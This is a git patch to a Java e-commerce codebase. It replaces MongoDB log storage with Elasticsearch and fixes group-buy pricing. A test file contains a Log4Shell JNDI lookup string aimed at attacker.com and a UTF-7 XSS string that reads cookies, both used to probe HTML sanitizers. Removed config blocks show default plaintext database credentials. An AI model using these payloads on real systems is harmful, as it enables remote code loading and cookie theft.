From c3fbad7dbf2584e9364098fcc1621a616676aa6f Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 13 Dec 2021 18:15:37 +0800 Subject: [PATCH] =?UTF-8?q?=E7=A7=BB=E9=99=A4mongo,=E5=B0=86=E7=B3=BB?= =?UTF-8?q?=E7=BB=9F=E6=97=A5=E5=BF=97=E5=AD=98=E5=82=A8=E5=9C=A8es?= =?UTF-8?q?=E3=80=82=E4=BF=AE=E5=A4=8D=E6=8B=BC=E5=9B=A2=E5=95=86=E5=93=81?= =?UTF-8?q?=E7=9A=84=E6=AD=A3=E5=B8=B8=E8=B4=AD=E4=B9=B0=E4=BB=B7=E6=A0=BC?= =?UTF-8?q?=E4=B8=BA=E6=8B=BC=E5=9B=A2=E4=BB=B7=E6=A0=BC=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- buyer-api/src/main/resources/application.yml | 11 -- buyer-api/src/test/resources/application.yml | 11 -- common-api/src/main/resources/application.yml | 10 -- consumer/src/main/resources/application.yml | 10 -- framework/pom.xml | 5 - .../lili/cache/config/mongo/MongoConfig.java | 55 ---------- .../main/java/cn/lili/common/vo/PageVO.java | 12 +-- .../serviceimpl/GoodsSkuServiceImpl.java | 28 ++--- .../order/cart/service/CartServiceImpl.java | 22 ++-- .../permission/entity/vo/SystemLogVO.java | 30 +++++- .../repository/SystemLogRepository.java | 14 +++ .../serviceimpl/SystemLogServiceImpl.java | 102 ++++++++++++------ .../promotion/service/PintuanService.java | 2 +- .../promotion/service/SeckillService.java | 2 +- .../serviceimpl/CouponServiceImpl.java | 2 +- .../serviceimpl/PintuanServiceImpl.java | 2 +- .../promotion/tools/PromotionTools.java | 18 ---- .../promotion/PintuanManagerController.java | 4 +- .../src/main/resources/application.yml | 10 -- .../cn/lili/test/elasticsearch/EsTest.java | 18 ++-- .../cn/lili/test/promotion/CouponTest.java | 22 +--- .../lili/test/promotion/FullDiscountTest.java | 6 +- seller-api/src/main/resources/application.yml | 10 -- 23 files changed, 163 insertions(+), 243 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java create mode 100644 framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java diff --git a/buyer-api/src/main/resources/application.yml b/buyer-api/src/main/resources/application.yml index 2a84e6be..1a6abf13 100644 --- a/buyer-api/src/main/resources/application.yml +++ b/buyer-api/src/main/resources/application.yml @@ -43,16 +43,6 @@ spring: #关闭jackson 对json做解析 fail-on-empty-beans: false - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset - # Redis redis: host: 127.0.0.1 @@ -189,7 +179,6 @@ logging: cn.lili: debug org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/buyer-api/src/test/resources/application.yml b/buyer-api/src/test/resources/application.yml index a0140a54..ac3d2b4d 100644 --- a/buyer-api/src/test/resources/application.yml +++ b/buyer-api/src/test/resources/application.yml @@ -25,16 +25,6 @@ spring: admin: client: url: http://192.168.0.116:8000 - # mongodb - data: - mongodb: - host: 192.168.0.116 - port: 27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis #amqp @@ -186,7 +176,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/common-api/src/main/resources/application.yml b/common-api/src/main/resources/application.yml index 3da84738..5c35ef17 100644 --- a/common-api/src/main/resources/application.yml +++ b/common-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -188,7 +179,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/consumer/src/main/resources/application.yml b/consumer/src/main/resources/application.yml index dc60ddfa..e142ef08 100644 --- a/consumer/src/main/resources/application.yml +++ b/consumer/src/main/resources/application.yml @@ -32,15 +32,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -191,7 +182,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/framework/pom.xml b/framework/pom.xml index 2c35e2fc..7d3c159c 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -81,11 +81,6 @@ org.apache.commons commons-pool2 - - - org.springframework.boot - spring-boot-starter-data-mongodb - diff --git a/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java b/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java deleted file mode 100644 index 1420ec23..00000000 --- a/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java +++ /dev/null @@ -1,55 +0,0 @@ -package cn.lili.cache.config.mongo; - -import com.mongodb.MongoClientSettings; -import com.mongodb.MongoCredential; -import com.mongodb.ServerAddress; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Configuration; -import org.springframework.data.mongodb.config.AbstractMongoClientConfiguration; -import org.springframework.data.mongodb.repository.config.EnableMongoRepositories; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author paulG - * @since 2020/10/22 - **/ -@Configuration -@EnableMongoRepositories -public class MongoConfig extends AbstractMongoClientConfiguration { - - @Value("${spring.data.mongodb.database}") - private String databaseName; - - @Value("${spring.data.mongodb.uri}") - private List uri = new ArrayList<>(); - - @Value("${spring.data.mongodb.username}") - private String username; - - @Value("${spring.data.mongodb.password}") - private String password; - - @Value("${spring.data.mongodb.authentication-database}") - private String authenticationDatabase; - - @Override - protected String getDatabaseName() { - return databaseName; - } - - @Override - protected void configureClientSettings(MongoClientSettings.Builder builder) { - builder.credential(MongoCredential.createCredential(username, authenticationDatabase, password.toCharArray())) - .applyToClusterSettings(settings -> { - List serverAddresses = new ArrayList<>(); - for (String s : uri) { - String[] node = s.split(":"); - serverAddresses.add(new ServerAddress(node[0], Integer.parseInt(node[1]))); - } - settings.hosts(serverAddresses); - }); - } - -} diff --git a/framework/src/main/java/cn/lili/common/vo/PageVO.java b/framework/src/main/java/cn/lili/common/vo/PageVO.java index 6d7fca44..c782a6aa 100644 --- a/framework/src/main/java/cn/lili/common/vo/PageVO.java +++ b/framework/src/main/java/cn/lili/common/vo/PageVO.java @@ -1,5 +1,6 @@ package cn.lili.common.vo; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.utils.StringUtils; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -31,17 +32,8 @@ public class PageVO implements Serializable { @ApiModelProperty(value = "需要驼峰转换蛇形", notes = "一般不做处理,如果数据库中就是蛇形,则这块需要处理。") private Boolean notConvert; - public Integer getMongoPageNumber() { - int i = pageNumber - 1; - if (i < 0) { - return pageNumber; - } else { - return i; - } - } - public String getSort() { - if (!StringUtils.isEmpty(sort)) { + if (CharSequenceUtil.isNotEmpty(sort)) { if (notConvert == null || Boolean.FALSE.equals(notConvert)) { return StringUtils.camel2Underline(sort); } else { diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 7ac5e90a..a70fc838 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -204,14 +204,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取商品库存 Integer integer = (Integer) cache.get(GoodsSkuService.getStockCacheKey(id)); - //库存不为空 - if (integer != null) { - //库存与缓存中不一致, - if (!goodsSku.getQuantity().equals(integer)) { - //写入最新的库存信息 - goodsSku.setQuantity(integer); - cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku); - } + //库存不为空,库存与缓存中不一致 + if (integer != null && !goodsSku.getQuantity().equals(integer)) { + //写入最新的库存信息 + goodsSku.setQuantity(integer); + cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku); } return goodsSku; } @@ -263,14 +260,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl i if (promotionMap != null && !promotionMap.isEmpty()) { promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); + // 过滤活动赠送优惠券和无效时间的活动 return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) && - (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).before(new Date())); + (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).getTime() <= System.currentTimeMillis()) && + (jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis()); }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); - for (String s : promotionMap.keySet()) { - if (!s.contains(PromotionTypeEnum.SECKILL.name()) || !s.contains(PromotionTypeEnum.PINTUAN.name())) { - goodsSkuDetail.setPromotionPrice(null); - break; - } + + boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> + i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); + if (containsPromotion && goodsIndex.getPromotionPrice() != null) { + goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index 72fb5806..a51427d3 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -118,12 +118,7 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_NUM_ERROR); } CartTypeEnum cartTypeEnum = getCartType(cartType); - GoodsSku dataSku = checkGoods(skuId); - Double validPromotionsGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Arrays.asList(PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.PINTUAN.name())); - if (validPromotionsGoodsPrice != null) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validPromotionsGoodsPrice); - } + GoodsSku dataSku = checkGoods(skuId, cartType); try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -372,11 +367,12 @@ public class CartServiceImpl implements CartService { } /** - * 校验商品有效性,判定失效和库存 + * 校验商品有效性,判定失效和库存,促销活动价格 * * @param skuId 商品skuId + * @param cartType 购物车类型 */ - private GoodsSku checkGoods(String skuId) { + private GoodsSku checkGoods(String skuId, String cartType) { GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId); if (dataSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); @@ -384,6 +380,16 @@ public class CartServiceImpl implements CartService { if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } + Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name())); + if (validSeckillGoodsPrice != null) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validSeckillGoodsPrice); + } + Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name())); + if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validPintuanGoodsPrice); + } return dataSku; } diff --git a/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java b/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java index eb1651ab..8718de48 100644 --- a/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java +++ b/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java @@ -1,9 +1,18 @@ package cn.lili.modules.permission.entity.vo; import cn.lili.common.utils.ObjectUtil; +import cn.lili.elasticsearch.EsSuffix; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.ToString; +import lombok.experimental.Accessors; +import org.springframework.data.annotation.Id; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Document; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.io.Serializable; import java.util.Date; @@ -17,53 +26,70 @@ import java.util.Map; * @since 2020/12/2 17:50 */ @Data +@Document(indexName = "#{@elasticsearchProperties.indexPrefix}_" + EsSuffix.LOGS_INDEX_NAME) +@ToString +@NoArgsConstructor +@Accessors(chain = true) public class SystemLogVO implements Serializable { private static final long serialVersionUID = -8995552592401630086L; - + @Id @ApiModelProperty(value = "id") private String id; - @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") @ApiModelProperty(value = "日志记录时间") + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.basic_date_time) private Date createTime = new Date(); @ApiModelProperty(value = "请求用户") + @Field(type = FieldType.Text) private String username; @ApiModelProperty(value = "请求路径") + @Field(type = FieldType.Text) private String requestUrl; @ApiModelProperty(value = "请求参数") + @Field(type = FieldType.Text) private String requestParam; + @ApiModelProperty(value = "响应参数") + @Field(type = FieldType.Text) private String responseBody; @ApiModelProperty(value = "ip") + @Field(type = FieldType.Keyword) private String ip; @ApiModelProperty(value = "方法操作名称") + @Field(type = FieldType.Keyword) private String name; @ApiModelProperty(value = "请求类型") + @Field(type = FieldType.Keyword) private String requestType; @ApiModelProperty(value = "自定义日志内容") + @Field(type = FieldType.Text) private String customerLog; @ApiModelProperty(value = "ip信息") + @Field(type = FieldType.Text) private String ipInfo; @ApiModelProperty(value = "花费时间") + @Field(type = FieldType.Integer) private Integer costTime; @ApiModelProperty(value = "商家") + @Field(type = FieldType.Long) private Long storeId = -1L; /** diff --git a/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java b/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java new file mode 100644 index 00000000..49e221ec --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java @@ -0,0 +1,14 @@ +package cn.lili.modules.permission.repository; + +import cn.lili.modules.permission.entity.vo.SystemLogVO; +import org.springframework.data.elasticsearch.repository.ElasticsearchRepository; + +/** + * 日志 + * + * @author paulG + * @since 2021/12/13 + **/ +public interface SystemLogRepository extends ElasticsearchRepository { + +} diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java index 8e6b48dd..a1f21b30 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java @@ -1,23 +1,30 @@ package cn.lili.modules.permission.serviceimpl; -import cn.lili.common.utils.StringUtils; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; import cn.lili.modules.permission.entity.vo.SystemLogVO; +import cn.lili.modules.permission.repository.SystemLogRepository; import cn.lili.modules.permission.service.SystemLogService; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; +import org.elasticsearch.search.sort.SortBuilders; +import org.elasticsearch.search.sort.SortOrder; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.data.domain.PageRequest; -import org.springframework.data.domain.Sort; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import org.springframework.data.domain.Pageable; +import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; +import org.springframework.data.elasticsearch.core.SearchHit; +import org.springframework.data.elasticsearch.core.SearchHits; +import org.springframework.data.elasticsearch.core.query.NativeSearchQueryBuilder; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.List; -import java.util.regex.Pattern; +import java.util.stream.Collectors; /** * 系统日志 @@ -30,64 +37,91 @@ import java.util.regex.Pattern; public class SystemLogServiceImpl implements SystemLogService { @Autowired - private MongoTemplate mongoTemplate; + private SystemLogRepository systemLogRepository; + + /** + * ES + */ + @Autowired + @Qualifier("elasticsearchRestTemplate") + private ElasticsearchRestTemplate restTemplate; @Override public void saveLog(SystemLogVO systemLogVO) { - mongoTemplate.save(systemLogVO); + systemLogRepository.save(systemLogVO); } @Override public void deleteLog(List id) { - mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), SystemLogVO.class); + for (String s : id) { + systemLogRepository.deleteById(s); + } } @Override public void flushAll() { - mongoTemplate.dropCollection(SystemLogVO.class); + systemLogRepository.deleteAll(); } @Override public IPage queryLog(String storeId, String operatorName, String key, SearchVO searchVo, PageVO pageVO) { - Query query = new Query(); - - if (StringUtils.isNotEmpty(storeId)) { - query.addCriteria(Criteria.where("storeId").is(storeId)); + IPage iPage = new Page<>(); + NativeSearchQueryBuilder nativeSearchQueryBuilder = new NativeSearchQueryBuilder(); + if (pageVO != null) { + int pageNumber = pageVO.getPageNumber() - 1; + if (pageNumber < 0) { + pageNumber = 0; + } + Pageable pageable = PageRequest.of(pageNumber, pageVO.getPageSize()); + //分页 + nativeSearchQueryBuilder.withPageable(pageable); + iPage.setCurrent(pageVO.getPageNumber()); + iPage.setSize(pageVO.getPageSize()); } - if (StringUtils.isNotEmpty(operatorName)) { - query.addCriteria(Criteria.where("username").regex(Pattern.compile("^.*" + operatorName + ".*$", Pattern.CASE_INSENSITIVE))); + if (CharSequenceUtil.isNotEmpty(storeId)) { + nativeSearchQueryBuilder.withFilter(QueryBuilders.matchQuery("storeId", storeId)); } - if (StringUtils.isNotEmpty(key)) { - query.addCriteria(new Criteria().orOperator( - Criteria.where("requestUrl").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("requestParam").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("responseBody").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("name").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)) - )); + if (CharSequenceUtil.isNotEmpty(operatorName)) { + nativeSearchQueryBuilder.withFilter(QueryBuilders.wildcardQuery("username", "*" + operatorName + "*")); + } + + if (CharSequenceUtil.isNotEmpty(key)) { + BoolQueryBuilder filterBuilder = new BoolQueryBuilder(); + filterBuilder.should(QueryBuilders.wildcardQuery("requestUrl", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("requestParam", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("responseBody", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("name", "*" + key + "*")); + nativeSearchQueryBuilder.withFilter(filterBuilder); } //时间有效性判定 if (searchVo.getConvertStartDate() != null && searchVo.getConvertEndDate() != null) { + BoolQueryBuilder filterBuilder = new BoolQueryBuilder(); //大于方法 - Criteria gt = Criteria.where("createTime").gte(searchVo.getConvertStartDate()); + filterBuilder.must( + QueryBuilders.rangeQuery("createTime") + .gte(searchVo.getConvertStartDate().getTime())); //小于方法 - Criteria lt = Criteria.where("createTime").lte(searchVo.getConvertEndDate()); - query.addCriteria(new Criteria().andOperator(gt, lt)); + filterBuilder.must( + QueryBuilders.rangeQuery("createTime") + .lt(searchVo.getConvertEndDate().getTime())); + nativeSearchQueryBuilder.withFilter(filterBuilder); } - IPage iPage = new Page<>(); + SearchHits searchResult = restTemplate.search(nativeSearchQueryBuilder.build(), SystemLogVO.class); - iPage.setTotal(mongoTemplate.count(query, SystemLogVO.class)); - query.with(PageRequest.of(pageVO.getMongoPageNumber(), pageVO.getPageSize())); + iPage.setTotal(searchResult.getTotalHits()); - query.with(Sort.by(Sort.Direction.DESC, "createTime")); + if (pageVO != null && CharSequenceUtil.isNotEmpty(pageVO.getOrder()) && CharSequenceUtil.isNotEmpty(pageVO.getSort())) { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort(pageVO.getSort()).order(SortOrder.valueOf(pageVO.getOrder().toUpperCase()))); + } else { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort("createTime").order(SortOrder.DESC)); + } - List systemLogVOS = mongoTemplate.find(query, SystemLogVO.class); - iPage.setCurrent(pageVO.getPageNumber()); - iPage.setSize(pageVO.getPageSize()); - iPage.setRecords(systemLogVOS); + + iPage.setRecords(searchResult.getSearchHits().stream().map(SearchHit::getContent).collect(Collectors.toList())); return iPage; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java index 02b50374..a1c6f345 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java @@ -25,7 +25,7 @@ public interface PintuanService extends AbstractPromotionsService { List getPintuanMember(String pintuanId); /** - * 从mongo中查询拼团活动详情 + * 查询拼团活动详情 * * @param id 拼团ID * @return 拼团活动详情 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index d835055a..eecb42c3 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -20,7 +20,7 @@ public interface SeckillService extends AbstractPromotionsService { Integer PRE_CREATION = 7; /** - * 从mongo中获取秒杀活动信息 + * 获取秒杀活动信息 * * @param id 秒杀活动id * @return 秒杀活动信息 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java index e97cbe27..539f0e57 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java @@ -89,7 +89,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl ids) { - //删除mongo优惠券信息 + //删除优惠券信息 this.memberCouponService.closeMemberCoupon(ids); //删除优惠券活动关联优惠券 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index a8feb217..86714e0b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -102,7 +102,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { - IPage pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo); - return ResultUtil.data(pintuanByPageFromMongo); + IPage pintuanIPage = pintuanService.pageFindAll(queryParam, pageVo); + return ResultUtil.data(pintuanIPage); } @GetMapping("/goods/{pintuanId}") diff --git a/manager-api/src/main/resources/application.yml b/manager-api/src/main/resources/application.yml index 09a6bd2a..1ecab32a 100644 --- a/manager-api/src/main/resources/application.yml +++ b/manager-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -174,7 +165,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 672e0a44..9210cc79 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -1,6 +1,5 @@ package cn.lili.test.elasticsearch; -import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.vo.PageVO; @@ -20,13 +19,13 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; -import org.owasp.html.Sanitizers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.data.elasticsearch.core.SearchPage; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; +import java.util.Date; import java.util.List; import java.util.Map; @@ -64,13 +63,14 @@ class EsTest { // System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(HtmlUtil.unescape(safeHTML)); // System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); -// Date dt1 = new Date(2017, 3, 31); -// Date dt2 = new Date(2017, 5, 14)Z -// System.out.println(dt2.after(dt1)); - String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); - String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); - System.out.println(filter); - System.out.println(sanitize); + Date dt1 = new Date(2021, 12, 10); + Date dt2 = new Date(2021, 12, 14); + + System.out.println(new Date().before(dt2)); +// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); +// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); +// System.out.println(filter); +// System.out.println(sanitize); } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java index 2bf84c3e..ee788869 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java @@ -1,10 +1,8 @@ package cn.lili.test.promotion; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; @@ -14,7 +12,6 @@ import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import com.baomidou.mybatisplus.core.metadata.IPage; -import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @@ -36,15 +33,6 @@ class CouponTest { @Autowired private CouponService couponService; - @Autowired - private GoodsSkuService goodsSkuService; - - @Autowired - private RocketMQTemplate rocketMQTemplate; - - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; - @Test void addCoupon() { CouponVO couponVO = new CouponVO(); @@ -161,19 +149,19 @@ class CouponTest { promotionGoodsList.add(promotionGoods); couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.updatePromotions(couponVO)); + Assertions.assertTrue(couponService.updatePromotions(couponVO)); } @Test - void searchFromMongo() { + void search() { CouponSearchParams queryParam = new CouponSearchParams(); queryParam.setStoreId(""); PageVO pageVo = new PageVO(); pageVo.setPageNumber(0); pageVo.setPageSize(10); - IPage couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo); - Assertions.assertNotNull(couponsByPageFromMongo); - couponsByPageFromMongo.getRecords().forEach(System.out::println); + IPage couponsByPage = couponService.pageFindAll(queryParam, pageVo); + Assertions.assertNotNull(couponsByPage); + couponsByPage.getRecords().forEach(System.out::println); } @Test diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 7b64897f..88465e82 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -71,7 +71,7 @@ class FullDiscountTest { } @Test - void searchFromMongo() { + void search() { PageVO pageVo = new PageVO(); pageVo.setPageSize(10); pageVo.setPageNumber(0); @@ -79,9 +79,9 @@ class FullDiscountTest { pageVo.setSort("startTime"); pageVo.setOrder("asc"); - IPage 